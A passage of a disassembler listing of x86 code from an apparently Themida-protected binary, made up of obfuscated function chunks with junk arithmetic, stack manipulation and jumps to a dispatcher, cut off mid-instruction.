; START OF FUNCTION CHUNK FOR sub_570732 loc_56F5AE: ; CODE XREF: sub_570732+305j pop [esp+14h+var_14] pop esp loc_56F5B2: ; CODE XREF: sub_57377E-ACB6j push 2C2Eh mov [esp+10h+var_10], ebx sub esp, 4 mov [esp+14h+var_14], ebp push 31DEh mov [esp+18h+var_18], ebx push 7F0D5BEEh pop ebx and ebx, 65D627D3h push ecx jmp loc_563B9D ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_56F5DD: ; CODE XREF: sub_574CDD-D02Bj xor [esp+0], ebp xor ebp, [esp+0] mov esp, [esp+0] push [esp-8+arg_4] mov eax, [esp-4+arg_0] add esp, 4 push 1B8h mov [esp-4+arg_0], ecx mov ecx, esp push ebx jmp loc_56DE0B ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_56F5FF: ; CODE XREF: sub_568646+1654j add ecx, 4 add ecx, 4 xchg ecx, [esp-4+arg_0] mov esp, [esp-4+arg_0] sub esp, 4 mov [esp+0], eax jmp loc_561DF0 ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564CDA loc_56F61F: ; CODE XREF: sub_564CDA+C402j mov ebp, 0C12CE63Ah jmp loc_56EC3F ; END OF FUNCTION CHUNK FOR sub_564CDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_56F629: ; CODE XREF: sub_56B06D-2216j push [esp+18h+var_18] jmp loc_5619BA ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- loc_56F631: ; CODE XREF: Themida_:00563287j pop eax add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_56F649: ; CODE XREF: sub_565B6E+C3FCj sub eax, 78924C64h pop ebx add eax, edi sub eax, 1AB57B37h jmp loc_56C771 ; END OF FUNCTION CHUNK FOR sub_565B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D72 loc_56F65B: ; CODE XREF: sub_567D72-6E0Dj push edx mov edx, 280A6CC3h neg edx or edx, 38866E65h not edx add edx, 0FFF7FF82h sub esi, edx pop edx push esi push dword ptr [esp+4] pop esi pop [esp+4+var_4] pop esp mov [esp-4+arg_0], ecx push [esp-4+arg_4] pop ecx pop [esp-4+arg_0] pop esp not bh xor [esp-0Ch+arg_8], bh xor bh, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], bh jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_567D72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_56F69A: ; CODE XREF: sub_5638E4+CDCCj mov eax, edi mov edi, [esp+0Ch+var_C] add esp, 4 add edi, eax pop eax push edi push [esp+8+var_4] mov edi, [esp+0Ch+var_C] jmp loc_56521C ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1B8 loc_56F6B2: ; CODE XREF: sub_56E1B8-9CABj mov esp, [esp+0] bts [esp+0], ax pushf jmp loc_565FCB ; END OF FUNCTION CHUNK FOR sub_56E1B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_56F6C0: ; CODE XREF: sub_563DCB+7106j add esp, 4 add eax, 4 jmp loc_5742ED ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5729F9 loc_56F6CD: ; CODE XREF: sub_5729F9+1j xor al, bl push dx jmp loc_5634E9 ; END OF FUNCTION CHUNK FOR sub_5729F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56F6D6: ; CODE XREF: sub_57354D-10E35j sub ebp, eax add ebp, 43E275E8h pop eax shl ebp, 2 push edx push 78185B51h pop edx shl edx, 8 neg edx sub edx, 79F0B81h shl edx, 1 push esi mov esi, 63030173h sub esi, 556B1525h inc esi jmp loc_566BA5 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_56F708: ; CODE XREF: sub_572141-FCAEj and eax, 1B6F3F27h jmp loc_563356 ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56F712: ; CODE XREF: sub_569193+7AAAj push esi jmp loc_56E6D3 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B577 loc_56F718: ; CODE XREF: sub_56B577-637Aj pop esp add ebp, 2 xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] pop esp btr [esp-4+arg_0], ax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56B577 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_56F734: ; CODE XREF: sub_56CD13-C974j pop edx pop ebp add eax, 0BBB79DFh add eax, ecx push ecx mov ecx, 29F43A2h xor ecx, 9243A7Dh sub eax, ecx pop ecx push [esp+0Ch+var_C] mov ecx, [esp+10h+var_10] add esp, 4 add esp, 4 push edx jmp loc_56765E ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_56F761: ; CODE XREF: sub_56E126-8240j inc ecx shr ecx, 5 shr ecx, 3 jmp loc_563744 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_56F76D: ; CODE XREF: sub_5690E8+9B6j push edx jmp loc_570240 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56F773: ; CODE XREF: sub_5605BC+E666j mov eax, 23356285h and eax, 1E9027B9h jmp sub_5738F4 ; END OF FUNCTION CHUNK FOR sub_5605BC ; =============== S U B R O U T I N E ======================================= sub_56F782 proc near ; DATA XREF: Themida_:0055FD0Co var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561D33 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005643BF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00564C26 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00566A96 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056727C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005689C2 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005697DC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056ACAB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B183 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056CFAE SIZE 0000002C BYTES push dword ptr [esp+0] push [esp+4+var_4] push [esp+8+var_8] jmp loc_5689C2 sub_56F782 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_56F790: ; CODE XREF: sub_56C38F-56E8j mov [esp+4+var_4], eax mov eax, 32144BDh add eax, 53F178DDh sub eax, 29FD0553h shr eax, 8 dec eax jmp loc_568F6A ; END OF FUNCTION CHUNK FOR sub_56C38F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56F7AB: ; CODE XREF: sub_5685B2-36F9j push dword ptr [esp+0] jmp loc_5704DF ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_56F7B3: ; CODE XREF: sub_56D69D+163Aj sub eax, ecx add eax, 2BDB4967h pop ecx push edx mov edx, 6AF031C2h and edx, 187E3543h jmp loc_565875 ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564686 loc_56F7CC: ; CODE XREF: sub_564686+E08j mov [esp+0], esi jmp loc_56A2CB ; END OF FUNCTION CHUNK FOR sub_564686 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5729F9 loc_56F7D4: ; CODE XREF: sub_5729F9-F505j mov al, 5Dh and al, 0Ch sub al, 71h shr al, 2 xor al, 32h xor al, 4Eh mov bh, al pop eax push ebx not byte ptr [esp+0Ah+var_C+3] pop ebx shr bh, 5 jmp loc_5608EB ; END OF FUNCTION CHUNK FOR sub_5729F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570F82 loc_56F7F2: ; CODE XREF: sub_570F82+6j push esi push 19C82140h pop esi jmp sub_563388 ; END OF FUNCTION CHUNK FOR sub_570F82 ; --------------------------------------------------------------------------- loc_56F7FE: ; CODE XREF: Themida_:00571A4Bj push dword ptr [esp] jmp loc_56AD4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_56F806: ; CODE XREF: sub_567D31-2F00j add esp, 4 and eax, ecx push [esp-8+arg_4] jmp loc_560562 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_56F816: ; CODE XREF: sub_5734A7-797Bj add esi, eax push ebp mov ebp, 48816C72h jmp loc_565554 ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56F823: ; CODE XREF: sub_56616D+4DA2j push 7AB4h mov [esp-8+arg_4], edx mov edx, 49986FD6h mov ebx, edx jmp loc_56A223 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56F837: ; CODE XREF: sub_565632+9E84j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+4+var_4] pop esp add edi, 4 jmp loc_56739E ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56F851: ; CODE XREF: sub_563A7F+A341j not ecx jmp loc_574FBC ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_56F858: ; CODE XREF: sub_56DA43+4751j push [esp+4+var_4] jmp loc_5608F6 ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_56F860: ; CODE XREF: sub_574F16-E6D4j pop ecx xchg dh, al not dh xchg dh, al sub esp, 4 mov [esp+0Eh+var_E], ecx push ebx mov bl, al jmp loc_56B6A5 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56F878: ; CODE XREF: sub_571088-10098j mov edi, 83E7F42h jmp loc_569800 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- loc_56F882: ; CODE XREF: Themida_:0056FCB0j add esp, 4 push edi push dword ptr [esp+4] mov edi, [esp] push eax jmp loc_561AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_56F893: ; CODE XREF: sub_5687A3-180Bj pop eax push 4B64h mov [esp+0Ch+var_C], ebx mov ebx, 262826CAh not ebx shl ebx, 3 jmp loc_574F1E ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_56F8AB: ; CODE XREF: sub_572141-3Bj xor ebp, [esp+4+var_4] xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_56C229 ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_56F8BC: ; CODE XREF: sub_567B29-404Fj sub ebx, 262772EAh add ebx, eax jmp loc_5736C7 ; END OF FUNCTION CHUNK FOR sub_567B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572669 loc_56F8C9: ; CODE XREF: sub_572669-1087Ej add edx, ebx mov ebx, [esp+0] jmp loc_57000B ; END OF FUNCTION CHUNK FOR sub_572669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_56F8D3: ; CODE XREF: sub_56C83E-376Ej push edi jmp loc_57301E ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_56F8D9: ; CODE XREF: sub_5738F4-C35j add ebx, edi jmp loc_570D80 ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_56F8E0: ; CODE XREF: sub_572E16-780j add ecx, 22232A04h sub edi, 47204D44h add edi, ecx add edi, 47204D44h pop ecx add edi, 4 xor edi, [esp+8+var_8] xor [esp+8+var_8], edi jmp loc_567B1A ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56F903: ; CODE XREF: sub_56FA15+20F3j xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- byte_56F90D db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055FCBCo dd 673D6824h, 14890000h, 0AF02E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_56F91E: ; CODE XREF: sub_560056+4903j mov edi, 4 jmp loc_561E44 ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56F928: ; CODE XREF: sub_564D26+7073j shl ebx, 6 sub ebx, 0F0950A44h sub esi, ebx pop ebx push edi mov edi, 2D4E773Eh jmp loc_561D50 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_56F93F: ; CODE XREF: sub_5638E4+816Dj add edi, 3B7B7B97h mov edx, [esp+4+var_4] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+8+var_8] pop esp push eax push edi sub esp, 4 jmp loc_56D973 ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD38 loc_56F968: ; CODE XREF: sub_56FD38-1FBAj sub edi, 4 xor edi, [esp+8+var_8] xor [esp+8+var_8], edi xor edi, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx mov ebx, 5FC0204h jmp loc_56AD5D ; END OF FUNCTION CHUNK FOR sub_56FD38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_56F982: ; CODE XREF: sub_568E5C-8A1Bj push edx mov edx, 57AC6889h not edx dec edx sub edx, 9896A5Ch sub edx, 6AD9660Eh not edx sub edx, 0A5F5BCBAh mov ecx, edx pop edx xor ecx, ebp jmp loc_565D4E ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570F0F loc_56F9A9: ; CODE XREF: sub_570F0F-10B07j mov esp, [esp+0] mov [esp+0], ax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_570F0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56F9B5: ; CODE XREF: sub_56616D+3F83j not edi sub edi, 0FFFFD7D3h add esi, edi jmp loc_56394B ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- loc_56F9C4: ; CODE XREF: Themida_:0057201Ej add ebx, edi push eax push 376552A4h jmp loc_57379C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56F9D1: ; CODE XREF: sub_574304-10F07j add edi, ecx sub edi, 5B97AE9h pop ecx sub edi, 1 sub edi, 1 xchg edx, edi not edx xchg edx, edi shr edi, 3 sub esp, 4 mov [esp+4+var_4], eax mov eax, 4D16729Eh shr eax, 5 push ebp mov ebp, 0C42129Dh xor eax, ebp jmp loc_56690B ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574000 loc_56FA07: ; CODE XREF: sub_574000-3C8Dj add eax, 2 xor eax, [esp+8+var_8] xor [esp+8+var_8], eax jmp loc_571BD8 ; END OF FUNCTION CHUNK FOR sub_574000 ; =============== S U B R O U T I N E ======================================= sub_56FA15 proc near ; CODE XREF: sub_56D464-D4C2j var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560374 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00562291 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056232F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00563C7F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056502B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00565AF6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566196 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005662F0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00566ACB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056754C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00567AAD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005689BB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005689F2 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00569904 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056A4B5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A9EE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056B2C4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056B72F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B9D0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056C0D6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056C0ED SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056C88B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056D170 SIZE 00000046 BYTES ; FUNCTION CHUNK AT 0056E513 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056E63B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056E826 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056F4E8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F903 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005718F9 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00571B05 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00571CFB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005725E9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0057287D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005747A5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005748B2 SIZE 0000003B BYTES ; FUNCTION CHUNK AT 00574E4D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00575350 SIZE 0000000B BYTES push ebx mov bl, 1Dh sub bl, 4 shl bl, 6 jmp loc_56E63B sub_56FA15 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_56FA23: ; CODE XREF: sub_5713A7-C632j mov ebx, eax pop eax push ecx mov ecx, 59C40C67h xor ecx, 7ADC16EEh or ecx, 72EE77B9h xchg ebx, ecx add ebx, 0FFFFFFFFh xchg ebx, ecx jmp loc_572065 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; =============== S U B R O U T I N E ======================================= sub_56FA44 proc near ; DATA XREF: Themida_:0055FF28o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 0056515C SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0056957C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056B5B9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056C28C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056CD88 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056F348 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056FE9B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056FED3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005705BC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057294B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00572D3F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0057344A SIZE 0000000F BYTES mov cx, [esp+0] push 74EAh mov [esp+4+var_4], ecx push esp pop ecx push 51E8h jmp loc_56C28C sub_56FA44 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_56FA5C: ; CODE XREF: sub_572DD7-16F4j add esi, 4 xor esi, [esp+0Ch+var_C] xor [esp+0Ch+var_C], esi xor esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push esi mov esi, esp jmp loc_561C2C ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_56FA76: ; CODE XREF: sub_56A7FB-8DC0j xor bl, al jmp loc_570719 ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_56FA7D: ; CODE XREF: sub_5753A5-ABD9j add ecx, 4 sub ecx, 4 xchg ecx, [esp+4+var_4] pop esp mov [esp+0], edx push eax mov eax, 2 mov edx, eax mov eax, [esp+4+var_4] jmp loc_563612 ; END OF FUNCTION CHUNK FOR sub_5753A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564746 loc_56FAA0: ; CODE XREF: sub_564746+6C01j or ah, 0FCh xor ah, 0F1h sub cl, ah pop eax jmp sub_56626B ; END OF FUNCTION CHUNK FOR sub_564746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572669 loc_56FAAE: ; CODE XREF: sub_572669-A122j mov esp, [esp+0] mov [esp+0], ebx jmp loc_561DDC ; END OF FUNCTION CHUNK FOR sub_572669 ; --------------------------------------------------------------------------- loc_56FAB9: ; CODE XREF: Themida_:005711CAj mov [esp], eax sub esp, 4 mov [esp], esp push ebp mov ebp, 5A683AF7h dec ebp jmp loc_5615F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_56FAD1: ; CODE XREF: sub_57549C-2351j mov esi, 35F36CE1h jmp loc_571FA6 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562BA0 loc_56FADB: ; CODE XREF: sub_562BA0+Bj mov eax, esp jmp loc_56C33E ; END OF FUNCTION CHUNK FOR sub_562BA0 ; =============== S U B R O U T I N E ======================================= sub_56FAE2 proc near ; CODE XREF: sub_564B0B+6490j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00565991 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056907A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056AA71 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00572412 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0057430C SIZE 00000009 BYTES push ebx mov ebx, edx mov ebp, ebx pop ebx pop edx sub ebp, ecx pop ecx sub esp, 4 mov [esp-0Ah+arg_4+2], edx jmp loc_565991 sub_56FAE2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_56FAF7: ; CODE XREF: sub_561541+6AF0j push esi jmp loc_568C62 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56FAFD: ; CODE XREF: sub_564D26-4BF4j add ecx, 1A65219Ch pop ebx sub esp, 4 jmp loc_564A49 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56FB0C: ; CODE XREF: sub_56CC46+4DC2j sub edx, 5A641A0h push dword ptr [esp+0] pop ebp jmp sub_56421E ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_56FB1B: ; CODE XREF: sub_561F05+D58Ej mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+8+var_8] pop esp push edx mov edx, 2189308Ch jmp loc_5640D6 ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561979 loc_56FB34: ; CODE XREF: sub_561979+1EE8j sub esi, 4 xchg esi, [esp-4+arg_0] pop esp mov [esp-8+arg_4], ecx jmp sub_569AB3 ; END OF FUNCTION CHUNK FOR sub_561979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573A8F loc_56FB43: ; CODE XREF: sub_573A8F+9j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_573A8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_56FB48: ; CODE XREF: sub_5604FE+9120j mov [esp+4+var_4], ecx push esp jmp loc_56FEA3 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_56FB51: ; CODE XREF: sub_5620B7+4935j pop esi add edx, edi jmp sub_5609A1 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_56FB59: ; CODE XREF: sub_56651E+A70Aj add edi, ebp jmp loc_567152 ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574000 loc_56FB60: ; CODE XREF: sub_574000-29C7j mov [esp+10h+var_10], ebp mov ebp, 0F7C3FB2h xor ebp, 0F7C3FB6h sub esi, 7C0B13F5h add esi, ebp jmp loc_56A455 ; END OF FUNCTION CHUNK FOR sub_574000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_56FB7B: ; CODE XREF: sub_572075-4DCFj pop ebp xor eax, ebp pop ebp sub ebp, 4CAF1E19h jmp loc_569C2F ; END OF FUNCTION CHUNK FOR sub_572075 ; =============== S U B R O U T I N E ======================================= sub_56FB8A proc near ; CODE XREF: sub_5666C3-3769j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560B04 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005632B5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00563714 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00563A8A SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005643AB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00565464 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00565A3A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00565E38 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005663CD SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005664C1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005687CB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056899F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00568CC5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00569E0A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056A186 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056A729 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0056AC07 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056B4BD SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056BB59 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056BC2D SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0056CDBD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056E330 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056ED53 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056EE5F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00571B81 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00571F22 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005745C1 SIZE 0000000E BYTES push ebp mov ebp, 78EB7961h jmp loc_565E38 sub_56FB8A endp ; --------------------------------------------------------------------------- loc_56FB95: ; CODE XREF: Themida_:0056EA0Dj add esp, 4 xor esi, ecx pop ecx shr esi, 6 shl esi, 4 push eax mov eax, 0E4CF74C4h add esi, eax pop eax mov edi, esi push dword ptr [esp] jmp loc_56E68B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56FBB4: ; CODE XREF: sub_564D26+4976j mov edx, esp add edx, 4 sub edx, 